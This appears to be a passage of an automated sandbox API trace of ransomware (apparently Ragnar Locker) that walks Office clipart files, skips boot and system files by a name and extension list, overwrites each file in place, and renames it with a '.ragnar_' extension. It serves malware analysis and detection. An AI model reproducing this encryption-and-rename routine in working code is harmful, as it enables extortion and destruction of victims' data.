[0089.825] lstrcmpiW (lpString1="PE03470_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.825] lstrcmpiW (lpString1="PE03470_.WMF", lpString2="desktop.ini") returned 1 [0089.825] lstrcmpiW (lpString1="PE03470_.WMF", lpString2="iconcache.db") returned 1 [0089.825] lstrcmpiW (lpString1="PE03470_.WMF", lpString2="ntldr") returned 1 [0089.825] lstrcmpiW (lpString1="PE03470_.WMF", lpString2="ntuser.dat") returned 1 [0089.825] lstrcmpiW (lpString1="PE03470_.WMF", lpString2="ntuser.dat.log") returned 1 [0089.825] lstrcmpiW (lpString1="PE03470_.WMF", lpString2="ntuser.ini") returned 1 [0089.825] lstrcmpiW (lpString1="PE03470_.WMF", lpString2="thumbs.db") returned -1 [0089.825] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.825] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.825] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.826] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.826] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.826] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.826] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.826] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03470_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03470_.wmf")) returned 0x20 [0089.826] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03470_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03470_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.826] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=14744) returned 1 [0089.826] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x398f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.826] GetProcessHeap () returned 0x580000 [0089.826] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.826] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.828] VirtualAlloc (lpAddress=0x0, dwSize=0x3998, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.828] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.828] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.828] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3998, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3998, lpOverlapped=0x0) returned 1 [0089.829] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.829] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3998, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.829] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3998, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3998, lpOverlapped=0x0) returned 1 [0089.829] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3998, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.829] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.829] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3998, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.829] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.830] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.830] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.830] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.830] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.830] GetProcessHeap () returned 0x580000 [0089.830] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.830] CloseHandle (hObject=0xf4) returned 1 [0089.830] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03470_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03470_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03470_.WMF" [0089.830] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03470_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03470_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03470_.WMF.ragnar_FD7BD9FC" [0089.830] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03470_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03470_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03470_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03470_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.831] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3716500, ftCreationTime.dwHighDateTime=0x1bd4be9, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3716500, ftLastWriteTime.dwHighDateTime=0x1bd4be9, nFileSizeHigh=0x0, nFileSizeLow=0xec4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE03513_.WMF", cAlternateFileName="")) returned 1 [0089.831] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.831] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PE03513_.WMF" | out: lpString1="PE03513_.WMF") returned="PE03513_.WMF" [0089.831] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03513_.WMF") returned=".WMF" [0089.831] lstrcmpiW (lpString1="PE03513_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.831] lstrcmpiW (lpString1="PE03513_.WMF", lpString2="autorun.inf") returned 1 [0089.831] lstrcmpiW (lpString1="PE03513_.WMF", lpString2="boot.ini") returned 1 [0089.831] lstrcmpiW (lpString1="PE03513_.WMF", lpString2="bootfont.bin") returned 1 [0089.831] lstrcmpiW (lpString1="PE03513_.WMF", lpString2="bootsect.bak") returned 1 [0089.831] lstrcmpiW (lpString1="PE03513_.WMF", lpString2="bootmgr") returned 1 [0089.831] lstrcmpiW (lpString1="PE03513_.WMF", lpString2="bootmgr.efi") returned 1 [0089.831] lstrcmpiW (lpString1="PE03513_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.831] lstrcmpiW (lpString1="PE03513_.WMF", lpString2="desktop.ini") returned 1 [0089.831] lstrcmpiW (lpString1="PE03513_.WMF", lpString2="iconcache.db") returned 1 [0089.831] lstrcmpiW (lpString1="PE03513_.WMF", lpString2="ntldr") returned 1 [0089.831] lstrcmpiW (lpString1="PE03513_.WMF", lpString2="ntuser.dat") returned 1 [0089.831] lstrcmpiW (lpString1="PE03513_.WMF", lpString2="ntuser.dat.log") returned 1 [0089.831] lstrcmpiW (lpString1="PE03513_.WMF", lpString2="ntuser.ini") returned 1 [0089.831] lstrcmpiW (lpString1="PE03513_.WMF", lpString2="thumbs.db") returned -1 [0089.831] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.831] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.831] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.831] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.831] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.831] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.831] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.831] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03513_.wmf")) returned 0x20 [0089.832] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03513_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.832] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3780) returned 1 [0089.833] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xebb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.833] GetProcessHeap () returned 0x580000 [0089.833] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.842] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.843] VirtualAlloc (lpAddress=0x0, dwSize=0xec4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.844] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.844] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.844] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xec4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xec4, lpOverlapped=0x0) returned 1 [0089.844] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.844] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xec4, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.844] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xec4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xec4, lpOverlapped=0x0) returned 1 [0089.844] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xec4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.844] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.844] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xec4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.844] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.844] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.844] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.845] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.845] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.845] GetProcessHeap () returned 0x580000 [0089.845] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.845] CloseHandle (hObject=0xf4) returned 1 [0089.845] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03513_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03513_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03513_.WMF" [0089.845] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03513_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03513_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03513_.WMF.ragnar_FD7BD9FC" [0089.845] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03513_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03513_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03513_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.846] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32062000, ftCreationTime.dwHighDateTime=0x1bd4be8, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x32062000, ftLastWriteTime.dwHighDateTime=0x1bd4be8, nFileSizeHigh=0x0, nFileSizeLow=0x1868, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE03668_.WMF", cAlternateFileName="")) returned 1 [0089.846] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.846] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PE03668_.WMF" | out: lpString1="PE03668_.WMF") returned="PE03668_.WMF" [0089.846] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03668_.WMF") returned=".WMF" [0089.846] lstrcmpiW (lpString1="PE03668_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.846] lstrcmpiW (lpString1="PE03668_.WMF", lpString2="autorun.inf") returned 1 [0089.846] lstrcmpiW (lpString1="PE03668_.WMF", lpString2="boot.ini") returned 1 [0089.846] lstrcmpiW (lpString1="PE03668_.WMF", lpString2="bootfont.bin") returned 1 [0089.846] lstrcmpiW (lpString1="PE03668_.WMF", lpString2="bootsect.bak") returned 1 [0089.846] lstrcmpiW (lpString1="PE03668_.WMF", lpString2="bootmgr") returned 1 [0089.846] lstrcmpiW (lpString1="PE03668_.WMF", lpString2="bootmgr.efi") returned 1 [0089.846] lstrcmpiW (lpString1="PE03668_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.846] lstrcmpiW (lpString1="PE03668_.WMF", lpString2="desktop.ini") returned 1 [0089.846] lstrcmpiW (lpString1="PE03668_.WMF", lpString2="iconcache.db") returned 1 [0089.846] lstrcmpiW (lpString1="PE03668_.WMF", lpString2="ntldr") returned 1 [0089.846] lstrcmpiW (lpString1="PE03668_.WMF", lpString2="ntuser.dat") returned 1 [0089.846] lstrcmpiW (lpString1="PE03668_.WMF", lpString2="ntuser.dat.log") returned 1 [0089.846] lstrcmpiW (lpString1="PE03668_.WMF", lpString2="ntuser.ini") returned 1 [0089.846] lstrcmpiW (lpString1="PE03668_.WMF", lpString2="thumbs.db") returned -1 [0089.846] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.846] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.846] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.846] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.846] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.846] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.846] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.846] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03668_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03668_.wmf")) returned 0x20 [0089.847] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03668_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03668_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.847] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=6248) returned 1 [0089.847] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x185f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.847] GetProcessHeap () returned 0x580000 [0089.847] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.847] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.848] VirtualAlloc (lpAddress=0x0, dwSize=0x1868, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.849] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.849] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.849] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1868, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1868, lpOverlapped=0x0) returned 1 [0089.849] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.849] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1868, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.849] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1868, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1868, lpOverlapped=0x0) returned 1 [0089.850] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1868, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.850] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.850] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1868, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.850] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.850] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.850] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.850] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.850] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.850] GetProcessHeap () returned 0x580000 [0089.850] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.850] CloseHandle (hObject=0xf4) returned 1 [0089.850] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03668_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03668_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03668_.WMF" [0089.850] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03668_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03668_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03668_.WMF.ragnar_FD7BD9FC" [0089.850] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03668_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03668_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03668_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03668_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.851] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb300a00, ftCreationTime.dwHighDateTime=0x1bd4be7, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfb300a00, ftLastWriteTime.dwHighDateTime=0x1bd4be7, nFileSizeHigh=0x0, nFileSizeLow=0x9fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE03731_.WMF", cAlternateFileName="")) returned 1 [0089.851] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.851] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PE03731_.WMF" | out: lpString1="PE03731_.WMF") returned="PE03731_.WMF" [0089.851] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03731_.WMF") returned=".WMF" [0089.851] lstrcmpiW (lpString1="PE03731_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.851] lstrcmpiW (lpString1="PE03731_.WMF", lpString2="autorun.inf") returned 1 [0089.851] lstrcmpiW (lpString1="PE03731_.WMF", lpString2="boot.ini") returned 1 [0089.851] lstrcmpiW (lpString1="PE03731_.WMF", lpString2="bootfont.bin") returned 1 [0089.851] lstrcmpiW (lpString1="PE03731_.WMF", lpString2="bootsect.bak") returned 1 [0089.851] lstrcmpiW (lpString1="PE03731_.WMF", lpString2="bootmgr") returned 1 [0089.851] lstrcmpiW (lpString1="PE03731_.WMF", lpString2="bootmgr.efi") returned 1 [0089.851] lstrcmpiW (lpString1="PE03731_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.851] lstrcmpiW (lpString1="PE03731_.WMF", lpString2="desktop.ini") returned 1 [0089.851] lstrcmpiW (lpString1="PE03731_.WMF", lpString2="iconcache.db") returned 1 [0089.851] lstrcmpiW (lpString1="PE03731_.WMF", lpString2="ntldr") returned 1 [0089.851] lstrcmpiW (lpString1="PE03731_.WMF", lpString2="ntuser.dat") returned 1 [0089.851] lstrcmpiW (lpString1="PE03731_.WMF", lpString2="ntuser.dat.log") returned 1 [0089.851] lstrcmpiW (lpString1="PE03731_.WMF", lpString2="ntuser.ini") returned 1 [0089.851] lstrcmpiW (lpString1="PE03731_.WMF", lpString2="thumbs.db") returned -1 [0089.852] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.852] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.852] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 